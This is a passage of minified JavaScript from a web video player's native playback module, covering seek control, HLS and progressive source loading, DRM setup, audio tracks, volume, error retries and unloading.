n=t.getElement(),i=n.currentTime;-1===t.lastVerifiedPlaybackPosition&&i===t.lastVerifiedPlaybackPosition||t.isIllicitlySeeking||(t.isIllegalSeek(i)?(Promise.resolve(t.video.play()).catch(function(n){t.logger.insane("Play promise rejected:",n)}),t.ignoreNextDelta=!0,n.currentTime=t.lastLegalPlaybackPosition):t.handleTimeUpdateEvent(n,i),t.nativeSeekCalled=!1,t.currentVideoStream&&(t.currentVideoStream.width=t.video.videoWidth,t.currentVideoStream.height=t.video.videoHeight))};this.onPlaybackStarted=function(){t.isPlaying()||(t.ended=!1,t.startManifestTimeoutTimer(),t.stateManager.transitionToPlayingState(t.lastPlayIssuer))};this.onContentPlaybackFinished=function(){t.ended=!0};this.checkIfAssetIsAccessible=function(n){return function(){var i=l.toMilliSeconds(t.settings.XHR_TIMEOUT)/2;t.logger.debug("Asset loading is stalled. Setting timeout to ".concat(l.toSeconds(i),"s to check in case asset is not available."));setTimeout(function(){t.hasSourceBeenLoaded?t.video.removeEventListener(r.MediaElementEvent.stalled,t.checkIfAssetIsAccessible(n)):new nt.DefaultContentLoader(t.context).load(n.src).catch(function(i){if(!t.hasSourceBeenLoaded){t.logger.debug("Forcing error event as the asset was not accessible.",i);var u=new Event(r.MediaElementEvent.error,{bubbles:!1,cancelable:!1});n.dispatchEvent(u)}}).finally(function(){t.video.removeEventListener(r.MediaElementEvent.stalled,t.checkIfAssetIsAccessible(n))})},i)}};this.getCurrentTime=function(n){void 0===n&&(n=f.TimeMode.AbsoluteTime);var i=t.getStartDate();return n===f.TimeMode.AbsoluteTime&&i?rt.Util.timeInSeconds(i)+t.getElement().currentTime:t.getElement().currentTime};this.getAudioQuality=this.getPlaybackAudioData;this.getVideoQuality=this.getPlaybackVideoData;this.videoOnEnded=function(){var n=t.getElement(),i=Math.abs(n.currentTime-t.lastLegalPlaybackPosition);t.settings.GLOBAL_DISABLE_SEEKING&&(i>w||n.currentTime<t.currentDuration-w)?(Promise.resolve(t.video.play()).catch(function(n){t.logger.insane("Play promise rejected:"+n)}),t.ignoreNextDelta=!0,t.video.currentTime=t.lastLegalPlaybackPosition):(t.lastLegalPlaybackPosition=0,t.stateManager.isPlaying()&&t.stateManager.transitionToPausedState(!0,t.lastPauseIssuer),t.stateManager.transitionToStoppedState())};this.videoOnSeeked=function(){t.resetTimeShift();t.numSeekingCalled=0;!t.settings.GLOBAL_DISABLE_SEEKING||t.restoringPlaybackPosAfterQualitySwitch||t.isInitialSeekToStartTime?(t.lastVerifiedPlaybackPosition=t.getElement().currentTime,t.isInitialSeekToStartTime=!1,t.stateManager.isSeeking()&&(t.textTrackController&&t.textTrackController.seek(),t.maybeHandleSeekTargetChangeDuringStartup())):t.isIllicitlySeeking=!1;t.finishedSeekedTransitionState()};this.videoOnSeeking=function(){if(t.settings.GLOBAL_DISABLE_SEEKING&&!t.isInitialSeekToStartTime)t.isIllicitlySeeking=!t.restoringPlaybackPosAfterQualitySwitch,t.numSeekingCalled++,t.numSeekingCalled>1&&(t.ignoreNextDelta=!1);else if(!t.stateManager.isSeeking()&&!t.stateManager.isTimeShifting()){var n=t.getElement().currentTime;t.stateManager.transitionToSeekingIOSState(n,e.INTERNAL_ISSUER_NAME);t.lastVerifiedPlaybackPosition=n}};this.onTimeChanged=function(){void 0===t.maxTimeShift&&(t.maxTimeShift=t.getElement().currentTime)};this.delayedSeek=function(){t.numTimeChanged++;t.numTimeChanged<t.settings.IOS_MIN_TIMEUPDATES_AFTER_AD||(t.eventHandler.off(u.PlayerEvent.TimeChanged,t.delayedSeek),t.restoringPlaybackPosAfterQualitySwitch=!0,t.triggerSeek({time:t.currentTimeWas,issuer:"api",force:!0}))};this.context=n;this.isAtLiveEdge=!1;this.logger=n.logger;this.video=n.videoElement;this.config=n.config;this.eventHandler=n.eventHandler;this.settings=n.settings;this.hlsSeekingGlitchEventHandlers=[];this.downloadErrorHandler=null;this.currentVol=this.video.volume;this.originalCrossOriginAttributeValue=this.video.getAttribute("crossOrigin");this.currentTimeShift=-1/0;ut.isAirplaySupported()&&(this.airplayService=new ut.AppleAirplayService(this.video,this.eventHandler));this.hlsLiveTimeTracker=new gt.HlsLiveNativeTimeTracker(this,n);this.elementEvents=[{event:r.MediaElementEvent.pause,handler:function(){t.resetTimeShift();t.ended||t.stateManager.transitionToPausedState(!0,t.lastPauseIssuer,!0)}},{event:r.MediaElementEvent.ended,handler:function(){t.videoOnEnded()}},{event:r.MediaElementEvent.play,handler:this.videoOnPlay},{event:r.MediaElementEvent.canplay,handler:function(){t.stateManager.stallExit()}},{event:r.MediaElementEvent.seeking,handler:function(){t.nativeSeekCalled=!0;t.videoOnSeeking();t.getCurrentTime()>=t.getDuration()&&(t.videoOnSeeked(),t.videoOnEnded())}},{event:r.MediaElementEvent.seeked,handler:function(){t.videoOnSeeked();t.restrictedInlinePlayback&&t.audio&&t.setVideoTime()}},{event:r.MediaElementEvent.durationchange,handler:this.onDurationChange},{event:r.MediaElementEvent.loadeddata,handler:this.loadedDataHandler},{event:r.MediaElementEvent.loadedmetadata,handler:function(){t.loadedDataFallbackTimeoutID=window.setTimeout(t.loadedDataHandler,200)}},{event:r.MediaElementEvent.playing,handler:this.videoOnPlaying},{event:r.MediaElementEvent.waiting,handler:function(){t.resetTimeShift();t.stateManager.stallEnter()}},{event:r.MediaElementEvent.timeupdate,handler:this.onTimeUpdate},{event:r.MediaElementEvent.error,handler:function(n){t.loadingDeferred.reject();t.ignoreNextVideoError?(t.logger.debug("Ignoring video element error",n.errorObject),t.ignoreNextVideoError=!1):(t.logger.debug("video element has thrown an error",n.errorObject),clearTimeout(t.loadTimeoutID),t.eventHandler.fireError(g.createPlayerErrorFromMediaError(n,!0)))}},{event:r.MediaElementEvent.webkitpresentationmodechanged,handler:this.onWebkitPresentationModeChanged},{elementSelector:function(n){return n.audioTracks},event:"addtrack",handler:this.onAddTrack},{elementSelector:function(n){return n.audioTracks},event:"removetrack",handler:this.onRemoveTrack}]}return n.prototype.shouldAwaitDurationAvailability=function(){return!k.isWebOS()&&!this.getDuration()},n.prototype.shouldAwaitSeekableRange=function(){var n,t,i;return!this.isHlsLive()||(null===(t=null===(n=this.config)||void 0===n?void 0:n.tweaks)||void 0===t?void 0:t.prevent_video_element_preloading)||k.isWebOS()?!1:(i=this.video.readyState>=HTMLMediaElement.HAVE_CURRENT_DATA,!ot(this.getElement().seekable)&&!i)},n.prototype.maybeResolveDeferredLoading=function(){this.shouldAwaitDurationAvailability()||this.shouldAwaitSeekableRange()?this.logger.debug("Cannot resolve deferred loading yet, waiting for required data to be loaded ",{duration:String(this.getDuration()),seekableRangeAvailable:ot(this.getElement().seekable),videoElementReadyState:this.getElement().readyState}):this.loadingDeferred.resolve()},n.prototype.handleTimeUpdateEvent=function(n,t){if(this.ignoreNextDelta=!1,this.currentDuration=n.duration,t>this.currentDuration+2)return this.context.logger.debug("CurrentTime ".concat(t," exceeds video duration (").concat(this.currentDuration,"), reverting current time")),void(n.currentTime=this.currentDuration-.1);this.lastLegalPlaybackPosition=t;this.stateManager.stallExit();this.stateManager.isSeeking()||this.stateManager.isTimeShifting()||!this.isPlaying()||(null!=this.getStartDate()?this.eventCallback(u.PlayerEvent.TimeChanged,{time:this.getCurrentTime(),relativeTime:t}):this.eventCallback(u.PlayerEvent.TimeChanged,{time:this.getCurrentTime()}))},n.prototype.isIllegalSeek=function(n){if(!this.settings.GLOBAL_DISABLE_SEEKING||!this.nativeSeekCalled)return!1;var t=-1!==this.lastVerifiedPlaybackPosition&&n>this.lastVerifiedPlaybackPosition+w,i=Math.abs(n-this.lastLegalPlaybackPosition);return(!this.ignoreNextDelta||t)&&i>w},n.prototype.getElement=function(){return this.restrictedInlinePlayback&&this.audio?this.audio:this.video},n.prototype.setVideoTime=function(){var n=Date.now();l.toSeconds(n-this.lastTime)>=1/30&&(this.video.currentTime=this.audio.currentTime,this.lastTime=n);this.isPlaying()&&window.requestAnimationFrame(this.setVideoTime)},n.prototype.maybeGoToLiveEdgeOnPlay=function(){if(this.isLive()&&!this.isTimeShiftingAllowed()){var n=this.getSeekableRangeInternal();n.end>=0&&this.seekForLive(n.end,e.STARTUP_ISSUER_NAME)}},n.prototype.play=function(n){return this.controlPermitted?(this.lastPlayIssuer=n,this.maybeGoToLiveEdgeOnPlay(),this.getElement().play()):Promise.reject("Play control not permitted")},n.prototype.getStartDate=function(){if(!this.isLive())return null;var t=this.getElement().getWrappedElement(),n="function"==typeof t.getStartDate?t.getStartDate():null;return n&&!isNaN(n.getTime())?n:null},n.prototype.preload=function(){this.getElement().preload="auto"},n.prototype.pause=function(n){this.lastPauseIssuer=n;var t=this.getElement();this.controlPermitted&&this.loaded&&(this.stateManager.transitionToPausedState(!1,this.lastPauseIssuer),t.pause())},n.prototype.mute=function(n){this.getElement().muted||(this.getElement().muted=!0,this.eventCallback(u.PlayerEvent.Muted,{issuer:n||"api"}))},n.prototype.unmute=function(n){this.getElement().muted&&(this.getElement().muted=!1,this.eventCallback(u.PlayerEvent.Unmuted,{issuer:n||"api"}))},n.prototype.getActualSeekTarget=function(n){var t=this.getStartDate();return t?n-l.toSeconds(t.getTime()):n},n.prototype.seek=function(n,t){var i=this;return!(!this.isSeekingAllowed(n)||this.getCurrentTime()===n)&&(this.hlsLiveTimeTracker.adjustTargetTime(n,t).then(function(n){i.lastSeekIssuer=t;i.triggerSeekEvent(n,t);var r=i.getActualSeekTarget(n);return i.triggerSeek({time:r,issuer:t})}),this.hasDataBeenLoaded&&this.getDuration()>0)},n.prototype.seekForLive=function(n,t){this.timeShiftJumpStartPosition=this.getCurrentTime();this.lastSeekIssuer=t;this.triggerTimeShiftEvent(n,t);this.triggerSeekForLive({time:n,issuer:t})},n.prototype.isSeekingAllowed=function(n){this.isInitialSeekToStartTime=this.isInitialSeek&&this.hasStartTime(n);var t=!this.settings.GLOBAL_DISABLE_SEEKING&&this.isSeekingEnabled();return(this.isInitialSeekToStartTime||t)&&this.controlPermitted},n.prototype.isTimeShiftingAllowed=function(){var n=!(this.config.playback&&this.config.playback.hasOwnProperty("timeShift"))||Boolean(this.config.playback.timeShift);return this.isLive()&&n},n.prototype.triggerSeek=function(n){return!this.maybeDelaySeek(n)&&(this.stateManager.transitionToSeekingState(n.time,n.issuer,!1),this.finishSeek(n),!0)},n.prototype.triggerSeekForLive=function(n){this.maybeDelaySeek(n,!0)||(this.stateManager.transitionToTimeShiftingState(this.getCurrentTime(),n.time,n.issuer,!1),n.time<0&&(n.time=this.getSeekableRangeInternal().end+n.time,this.resetTimeShift()),this.finishSeek(n))},n.prototype.maybeDelaySeek=function(n,t){return void 0===t&&(t=!1),this.hasDataBeenLoaded?0===this.getDuration()?(this.logger.debug("Delaying the seek until stream duration is known"),this.scheduleDelayedSeek(n,t,[r.MediaElementEvent.durationchange]),!0):this.video.seekable.length<1&&(this.logger.debug("Delaying the seek as the seekable range is not yet known"),this.scheduleDelayedSeek(n,t,[r.MediaElementEvent.timeupdate,r.MediaElementEvent.canplay]),!0):(this.logger.debug("Delaying the seek until data is loaded"),this.scheduleDelayedSeek(n,t,[r.MediaElementEvent.loadeddata]),!0)},n.prototype.finishSeek=function(n){var u=n.issuer===e.ADVERTISING_ISSUER_NAME,i=this.getSeekableRangeInternal(),r,t;this.logger.debug("Seek to ".concat(n.time,", seekable range:"),i);r=this.adjustSeekTimeForBoundaries(n.time,i,u);this.isInitialSeek=!1;this.ignoreNextDelta=this.ignoreNextDelta||this.isInitialSeekToStartTime||n.force;t=parseFloat(r.toFixed(2));this.seekTargetTime=t;this.logger.debug("Setting time on video element from ".concat(this.getElement().currentTime," to ").concat(t));this.getElement().currentTime=t},n.prototype.adjustSeekTimeForBoundaries=function(n,t,i){void 0===i&&(i=!1);var r=et(n,t);return i?n>=t.end&&(r=t.end-.1):r=Math.min(r,t.end-this.settings.SEEK_TO_END_OFFSET),r!==n&&this.logger.debug("Adjusted seek target from ".concat(n," to ").concat(r)),r},n.prototype.isSeekingEnabled=function(){var n=this.config&&this.config.hasOwnProperty("playback")?this.config.playback:{};return!n.hasOwnProperty("seeking")||n.seeking},n.prototype.hasStartTime=function(n){var t=this.context.sourceContext.source?this.context.sourceContext.source:{};return t.hasOwnProperty("options")&&t.options.hasOwnProperty("startTime")&&n===t.options.startTime},n.prototype.triggerSeekEvent=function(n,t){t!==e.STARTUP_ISSUER_NAME&&this.eventCallback(u.PlayerEvent.Seek,{position:this.getCurrentTime(),seekTarget:n,issuer:t||"api"})},n.prototype.triggerTimeShiftEvent=function(n,t){t!==e.STARTUP_ISSUER_NAME&&this.eventCallback(u.PlayerEvent.TimeShift,{target:n<0?this.timeShiftJumpStartPosition+n:n,position:this.timeShiftJumpStartPosition,issuer:t||"api"})},n.prototype.waitForOnSeeked=function(n){var t=this;return new Promise(function(i){var u=function(){n.removeEventListener(r.MediaElementEvent.seeked,u);i()};t.hlsSeekingGlitchEventHandlers.push({el:n,ev:r.MediaElementEvent.seeked,fn:u});n.addEventListener(r.MediaElementEvent.seeked,u)})},n.prototype.waitForOnProgress=function(n,t){var i=this;return new Promise(function(u,f){var o=0,e=function(){var s=n.buffered,h=s.length>0?s.end(s.length-1):-1/0;(o+=isFinite(h)?1:0)>i.settings.SAFARI_NUM_PROGRESS_EVENTS_AFTER_SEEK_GLITCH&&h<t?(n.removeEventListener(r.MediaElementEvent.progress,e),f(null)):h>=t&&(n.removeEventListener(r.MediaElementEvent.progress,e),u())};i.hlsSeekingGlitchEventHandlers.push({el:n,ev:r.MediaElementEvent.progress,fn:e});n.addEventListener(r.MediaElementEvent.progress,e)})},n.prototype.verifyHLSPlaybackBuffer=function(n,t){var i=this;return this.type!==f.StreamType.Hls?Promise.resolve():this.waitForOnSeeked(n).then(function(){return i.waitForOnProgress(n,t)}).catch(function(){throw i.logger.debug("seek to target time (".concat(t,") failed - trying to recover by seeking to ").concat(t+1)),null;})},n.prototype.clearDelayedSeekHandlers=function(){var n=this;Object.keys(this.lastDelayedSeekHandlers).forEach(function(t){n.getElement().removeEventListener(t,n.lastDelayedSeekHandlers[t])});this.lastDelayedSeekHandlers={}},n.prototype.scheduleDelayedSeek=function(n,t,i){var r=this,f=this.getElement(),u;this.clearDelayedSeekHandlers();u=function(i){r.clearDelayedSeekHandlers();var e={time:bt.isNumber(i)?i:n.time,issuer:n.issuer,force:n.force};r.verifyHLSPlaybackBuffer(f,n.time).catch(function(){return u(n.time+1)});t?r.triggerSeekForLive(e):r.triggerSeek(e)};i.forEach(function(n){f.addEventListener(n,u);r.lastDelayedSeekHandlers[n]=u})},n.prototype.setAudio=function(n){var t=c.ArrayHelper.toArray(this.video.audioTracks).find(function(t){return t.id===n});t&&this.enableAudioTrack(t)},n.prototype.dispatchAudioChangedEvent=function(n,t){this.eventCallback(u.PlayerEvent.AudioChanged,{targetAudio:{id:t.id,label:t.label,lang:t.language},sourceAudio:n,time:this.video.currentTime})},n.prototype.enableAudioTrack=function(n){if(!n.enabled){var t=c.ArrayHelper.toArray(this.video.audioTracks).find(function(n){return n.enabled}),i=null;t&&(t.enabled=!1,i=this.convertAudioTrackNativeToApi(t));n.enabled=!0;this.dispatchAudioChangedEvent(i,n)}},n.prototype.setVolume=function(n,t){var f=this.getElement(),r=this.currentVol,i=Math.min(n/100,1);r!==i&&(this.currentVol=i,f.volume=i,this.eventCallback(u.PlayerEvent.VolumeChanged,{targetVolume:100*i,sourceVolume:100*r,issuer:t||"api"}))},n.prototype.startManifestTimeoutTimer=function(){var n=this;clearTimeout(this.loadTimeoutID);this.hasSourceBeenLoaded||(this.loadTimeoutID=setTimeout(function(){n.loadTimeoutID=null;!n.hasSourceBeenLoaded&&n.eventHandler&&(n.type===f.StreamType.Hls?n.eventHandler.fireError(new v.PlayerError(s.ErrorCode.NETWORK_MANIFEST_DOWNLOAD_TIMEOUT,{sourceUrl:n.sourceConfig.url},"Failed to load the HLS playlist: the request timed out.")):n.type===f.StreamType.Progressive&&n.eventHandler.fireError(new v.PlayerError(s.ErrorCode.NETWORK_PROGRESSIVE_STREAM_DOWNLOAD_TIMEOUT,{sourceUrl:n.sourceConfig.url},"Failed to load the progressive source: the request timed out.")))},l.toMilliSeconds(this.settings.XHR_TIMEOUT/2)))},n.getContentDomain=function(n){var t=document.createElement("a");return t.href=n,""===t.host&&(t.href=t.href),t.hostname},n.prototype.trackLoading=function(n){k.isTizen()&&this.video.addEventListener(r.MediaElementEvent.stalled,this.checkIfAssetIsAccessible(n))},n.prototype.prepareLoad=function(){return Promise.resolve()},n.prototype.load=function(t,i,r){var e=this,f,o,s;return this.stateManager=this.context.serviceManager.get(lt.ServiceName.PlayerStateService),this.stateManager.transitionToSeekedState(!1),this.video.setAttribute("preload","metadata"),this.type=this.context.sourceContext.technology.streaming,this.sourceConfig=t,t.type&&(this.type=t.type),!0===this.loaded&&this.unload().catch(function(){}),this.hasSourceBeenLoaded=!1,this.hasDataBeenLoaded=!1,this.getElement().nativeMediaEventListener.reset(),this.isInitialSeek=!0,this.ignoreNextVideoError=!1,this.sourceLoadRetryCount=0,t.hasOwnProperty("vr")&&t.vr&&Boolean(t.vr.restrictedInlinePlayback)?(this.restrictedInlinePlayback=!0,this.audio=rt.Util.getVRAudioElement(),this.addEventListeners(this.audio)):(this.audio=null,this.restrictedInlinePlayback=!1,this.addEventListeners(this.video)),this.eventHandler.on(u.PlayerEvent.TimeChanged,this.onTimeChanged),this.unsubscribeFromStoreStoppedListener=yt.subscribe(this.context.store)(function(n){return tt.getIsStopped(tt.getPlayerState(n))},this.onContentPlaybackFinished,function(n){return!0===n}),this.settings.GLOBAL_DISABLE_SEEKING=i||!1,this.seekingTimeoutId>-1&&(clearTimeout(this.seekingTimeoutId),this.seekingTimeoutId=-1),f="",t&&t.url&&("string"==typeof t.url?f=t.url:t.url.length>0&&(f=t.url[0].url)),o=window.location.hostname===n.getContentDomain(f),t.hasOwnProperty("vr")&&Boolean(t.vr)&&!o&&(this.originalCrossOriginAttributeValue=this.video.getAttribute("crossOrigin"),this.video.setAttribute("crossOrigin","anonymous")),this.video.eventHandler.reset(),this.isProgressiveQualityChange||(this.textTrackController=this.createTextTrackController()),this.loadingDeferred=new pt.Deferred,s=this.loadSource(t,r),this.loadingDeferred.promise.then(function(){e.context.sourceContext.source=t.config}).then(function(){return s}).then(function(){return e.initializeLoadedState(t)})},n.prototype.loadSource=function(n,t){var i=this;return this.type===f.StreamType.Hls?this.loadHls(n):this.type===f.StreamType.Progressive?this.loadProgressive(n,t).then(function(){return i.loadVideoElement()}):Promise.resolve()},n.prototype.initializeLoadedState=function(n){this.currentSource=n;this.loaded=!0;this.lastLegalPlaybackPosition=0;this.ignoreNextDelta=!1},n.prototype.loadVideoElement=function(){this.config.tweaks.prevent_video_element_preloading||this.video.load()},n.prototype.setupVideoElement=function(t,i){var o=this,e,u,f;t.config.drm&&t.config.drm.fairplay&&(e=d.ModuleManager.get(p.ModuleName.DRM).FairplayHandler,this.fpsHandler=new e(this.context,this.video,t.config.drm.fairplay));u=n.createSourceElement(i,null);this.appendAndSetVideoStream(u,"0",t);this.trackLoading(u);f={element:u,handler:function(n){return o.handleStreamErrorEvent(s.ErrorCode.SOURCE_HLS_STREAM_ERROR,u.src,n)}};this.sourceElementEventListeners.push(f);f.element.addEventListener(r.MediaElementEvent.error,f.handler)},n.prototype.setSourceAndLoadVideoElement=function(n,t){this.setupVideoElement(n,t);this.loadVideoElement()},n.prototype.setVideoForServiceWorker=function(n,t){var i=this,r=it.URLHelper.appendQueryParametersToUrl(t,o(o({},this.context.config.tweaks.query_parameters),{"bitmovin-player-id":this.context.internalPlayerID}));return this.setSourceAndLoadVideoElement(n,r),this.hlsManifestController.resolveMasterManifest(n.url).then(function(){}).catch(function(n){i.logger.debug("Couldn't access master playlist with ServiceWorker: ".concat(n))})},n.prototype.setVideoForNativeHLSParsing=function(n,t){var i=this;return ft.createHlsManifestController(this.context).then(function(r){return i.hlsManifestController=r,i.settings.NATIVE_HLS_DOWNLOAD_ERROR_HANDLING&&(i.downloadErrorHandler=new dt.HlsDownloadErrorHandler(i.context,r)),ft.shouldUseServiceWorker(i.context)?i.setVideoForServiceWorker(n,t):i.hlsManifestController.resolveMasterManifest(n.url).then(function(t){0!==t.indexOf("data")&&0!==t.indexOf("blob")||i.setSourceAndLoadVideoElement(n,t)}).catch(function(n){i.logger.debug("Couldn't access master playlist for native HLS parsing: ".concat(n))})})},n.prototype.loadHls=function(n){"string"!=typeof n.url&&this.eventHandler.fireError(new v.PlayerError(s.ErrorCode.SOURCE_INVALID,{given:n.url},"Cannot load the HLS playlist: the source URL should be a string."));var t=this.adjustUrlForQueryParams(n.url);return this.settings.NATIVE_HLS_PARSING?this.setVideoForNativeHLSParsing(n,t):(this.setSourceAndLoadVideoElement(n,t),Promise.resolve())},n.prototype.loadProgressive=function(n,t){var u,o=this,e=!1,i,f;return Array.isArray(n.url)?u=n.url:(u=[{url:n.url,bitrate:0}],e=!0),t=t||function(n){var t=n.findIndex(function(n){return!0===n.preferred});return t>-1?String(t):"0"}(u),this.availableVideoStreams=[],i=this.loadAllSupportedProgressiveSources(u,t,!e),i&&(f={element:i,handler:function(n){return o.handleStreamErrorEvent(s.ErrorCode.SOURCE_PROGRESSIVE_STREAM_ERROR,i.src,n)}},this.sourceElementEventListeners.push(f),f.element.addEventListener(r.MediaElementEvent.error,f.handler),this.restrictedInlinePlayback&&this.audio&&this.audio.load(),this.trackLoading(i)),Promise.resolve()},n.prototype.handleStreamErrorEvent=function(n,t,i){var r=this;clearTimeout(this.loadTimeoutID);this.loaded=!0;this.logger.debug("Caught a stream error event (".concat(n,", ").concat(t,")"),i);new nt.DefaultContentLoader(this.context).load(t).then(function(n){return{status:n.status,statusText:n.statusText,error:void 0}}).catch(function(n){return{error:n,status:(null==n?void 0:n.status)||0,statusText:(null==n?void 0:n.statusText)||""}}).then(function(u){var f,s=u.error,e=u.status,h=u.statusText,c=(null==i?void 0:i.message)||i,o=function(n,t){r.loadingDeferred.reject(new v.PlayerError(n,t,"The video element has thrown an error while loading the stream."))};200!==e?(f={event:i,error:s,status:e,statusText:h,src:t,extraMessage:c},r.logger.debug("last/only source has thrown an error ".concat(e," - ").concat(h),f),o(n,f)):(f={event:i,error:s,src:t,extraMessage:c},r.logger.debug("last/only source has thrown an error, but we are able to download the asset during the error handling.",f),r.sourceConfig&&r.sourceLoadRetryCount<r.settings.MAX_RETRIES?(r.sourceLoadRetryCount++,r.logger.debug("Reloading the source: attempt ".concat(r.sourceLoadRetryCount," of ").concat(r.settings.MAX_RETRIES,".")),r.loadSource(r.sourceConfig).catch(function(){return o(n,f)})):o(n,f))})},n.prototype.loadAllSupportedProgressiveSources=function(t,i,r){for(var u,f,s=[],c=-1,o=null,h=null,e=0;e<t.length;e++)if(u=t[e],!this.shouldIgnoreSourceObject(u,h,r)){if(f=n.createSourceElement(this.adjustUrlForQueryParams(u.url),u.type),h=h||u.type,this.addStreamToAvailableOnes(String(e),u),r){if(s.indexOf(u.type)>-1){this.logger.debug("Stream of mime type ".concat(u.type," already added.. continuing"));continue}i===String(e)?(o=f,c=u.bitrate,this.appendAndSetVideoStream(f,String(e),u),s.push(u.type)):c===u.bitrate&&(o=f,this.appendVideoStream(f),s.push(u.type))}else o=f,this.appendAndSetVideoStream(f,String(e),u);this.restrictedInlinePlayback&&this.audio&&(this.audio.innerHTML=this.video.innerHTML)}return o},n.prototype.shouldIgnoreSourceObject=function(t,i,r){return!n.isValidProgressiveSourceObject(t)||!!r&&(!this.isMimeTypeSupported(t.type)||!!i&&i!==t.type)},n.isValidProgressiveSourceObject=function(n){return"object"==typeof n&&n&&n.url&&""!==n.url},n.prototype.appendAndSetVideoStream=function(n,t,i){this.video.appendChild(n);this.setCurrentVideoStream(t,i)},n.prototype.appendVideoStream=function(n){this.video.appendChild(n)},n.prototype.addStreamToAvailableOnes=function(n,t){var i={id:n};t.bitrate&&(i.bitrate=t.bitrate);i.label=String(t.label||t.bitrate||"unknown");this.availableVideoStreams.push(i)},n.prototype.setCurrentVideoStream=function(n,t){this.currentVideoStream={id:n};t.bitrate&&(this.currentVideoStream.bitrate=t.bitrate);this.currentVideoStream.label=""+(t.label||t.bitrate||"unknown")},n.prototype.isMimeTypeSupported=function(n){return!(this.video.canPlayType(n).length<=0&&(this.logger.debug("Mime type"+n+" not supported.. continuing"),1))},n.createSourceElement=function(n,t){var i=document.createElement("source");return i.src=n,t&&(t.indexOf("/")<0&&(t="video/"+t),i.type=t),i},n.prototype.unload=function(n,t){var i;return void 0===n&&(n="api"),void 0===t&&(t=!1),this.hlsLiveTimeTracker.onUnload(n),this.clearDelayedSeekHandlers(),this.loadingDeferred&&!t&&this.loadingDeferred.reject(),clearTimeout(this.loadedDataFallbackTimeoutID),clearTimeout(this.loadTimeoutID),this.ended=!1,this.fpsHandler=y.dispose(this.fpsHandler),this.downloadErrorHandler=y.dispose(this.downloadErrorHandler),this.hlsManifestController=y.dispose(this.hlsManifestController),this.hlsSeekingGlitchEventHandlers.forEach(function(n){return n.el.removeEventListener(n.ev,n.fn)}),this.hlsSeekingGlitchEventHandlers=[],this.isProgressiveQualityChange||(null===(i=this.textTrackController)||void 0===i||i.signalSourceChange(),this.textTrackController=y.dispose(this.textTrackController)),this.clearVideoElement(),this.clearAudioElement(),this.pause(),this.ignoreNextVideoError=!0,this.clearEventListeners(),this.unsubscribeFromStoreStoppedListener&&this.unsubscribeFromStoreStoppedListener(),this.allowedToThrowEvents&&(this.currentVideoStream=null),this.loaded&&(this.loaded=!1,t||(this.eventCallback(u.PlayerEvent.SourceUnloaded,{oldSource:this.currentSource}),this.lastDuration=null)),Promise.resolve()},n.prototype.clearAudioElement=function(){if(this.restrictedInlinePlayback&&this.audio){for(this.audio.removeAttribute("src");this.audio.firstChild;)this.audio.removeChild(this.audio.firstChild);this.audio.load()}},n.prototype.clearEventListeners=function(){var n=this;this.restrictedInlinePlayback?this.audio&&this.removeEventListeners(this.audio):this.removeEventListeners(this.video);this.clearDelayedSeekHandlers();this.eventHandler.off(u.PlayerEvent.TimeChanged,this.onTimeChanged);this.eventHandler.off(u.PlayerEvent.TimeChanged,this.delayedSeek);this.sourceElementEventListeners.forEach(function(t){try{t.element.removeEventListener(r.MediaElementEvent.error,t.handler)}catch(t){n.logger.debug("Error while removing event listener",t)}})},n.prototype.clearVideoElement=function(){kt.VideoElementUtil.removeSource(this.video);null!=this.originalCrossOriginAttributeValue?this.video.setAttribute("crossOrigin",this.originalCrossOriginAttributeValue):this.video.removeAttribute("crossOrigin");this.video.load()},n.prototype.isReady=function(){return this.restrictedInlinePlayback&&this.audio&&"readyState"in this.audio?this.audio.readyState!==HTMLMediaElement.HAVE_NOTHING:!("readyState"in this.video)||this.video.readyState!==HTMLMediaElement.HAVE_NOTHING},n.prototype.isLive=function(){return this.getElement().duration===1/0},n.prototype.isPlaying=function(){return this.stateManager.isPlaying()},n.prototype.isPaused=function(){return this.stateManager.isPaused()},n.prototype.hasEnded=function(){return this.ended},n.prototype.isMuted=function(){return this.getElement().muted},n.prototype.isStalled=function(){return this.stateManager.isStalled},n.prototype.getVolume=function(){return 100*this.getElement().volume},n.prototype.getDuration=function(){return this.getElement().duration},n.prototype.convertAudioTrackNativeToApi=function(n){var t={id:n.id||String(c.ArrayHelper.toArray(this.video.audioTracks).indexOf(n)),label:n.label,lang:n.language,getQualities:null},i=this.getLabelForAudio(t);return i&&"string"==typeof i&&(t.label=i),t},n.prototype.getAudio=function(){var n=c.ArrayHelper.toArray(this.video.audioTracks).find(function(n){return n.enabled});return n?this.convertAudioTrackNativeToApi(n):null},n.prototype.getAvailableAudio=function(){var n=this;return c.ArrayHelper.toArray(this.video.audioTracks).map(function(t){return n.convertAudioTrackNativeToApi(t)})},n.prototype.getLabelForAudio=function(n){var t={id:n.id,lang:n.lang,mimeType:wt.MimeType.AudioMp4};return this.getLabelingFunctionForAudio()(t)},n.prototype.getLabelingFunctionForAudio=function(){var i=this.context.sourceContext,t=i&&i.source&&i.source.labeling;return t&&t[this.type]&&t[this.type].tracks?"function"!=typeof t[this.type].tracks?n.getDefaultLabelForAudio:t[this.type].tracks:n.getDefaultLabelForAudio},n.getDefaultLabelForAudio=function(){return null},n.prototype.getDownloadedVideoData=function(){return this.type===f.StreamType.Progressive?this.currentVideoStream:this.hlsManifestController?this.hlsManifestController.getDownloadedVideoData():{id:a,bitrate:0,height:0,width:0,isAuto:!0}},n.prototype.getDownloadedAudioData=function(){return{id:a,bitrate:0,isAuto:this.type===f.StreamType.Progressive}},n.prototype.createVideoQualityObject=function(n){var t={};return t.id=n.id,t.label=n.label,n.width>1?t.width=n.width:this.currentVideoStream&&this.currentVideoStream.id===n.id&&(this.currentVideoStream.width>1?t.width=this.currentVideoStream.width:!isNaN(this.video.videoWidth)&&this.video.videoWidth>1&&(t.width=this.video.videoWidth)),n.height>1?t.height=n.height:this.currentVideoStream&&this.currentVideoStream.id===n.id&&(this.currentVideoStream.height>1?t.height=this.currentVideoStream.height:!isNaN(this.video.videoHeight)&&this.video.videoHeight>1&&(t.height=this.video.videoHeight)),void 0!==n.bitrate&&"unknown"!==n.bitrate&&(t.bitrate=n.bitrate),t},n.prototype.getPlaybackVideoData=function(){var n,t;return this.hlsManifestController&&(n=this.hlsManifestController.getPlayingVideoData(),n)?n:this.currentVideoStream?(t=this.createVideoQualityObject(this.currentVideoStream),"progressive"!==this.type&&(t.id=a),t):{id:a,bitrate:0,height:this.video.videoHeight,width:this.video.videoWidth}},n.prototype.getPlaybackAudioData=function(){return{id:a,bitrate:0}},n.prototype.getMaxTimeShift=function(){if(!this.isTimeShiftingAllowed())return 0;var n=this.getSeekableRangeInternal();return 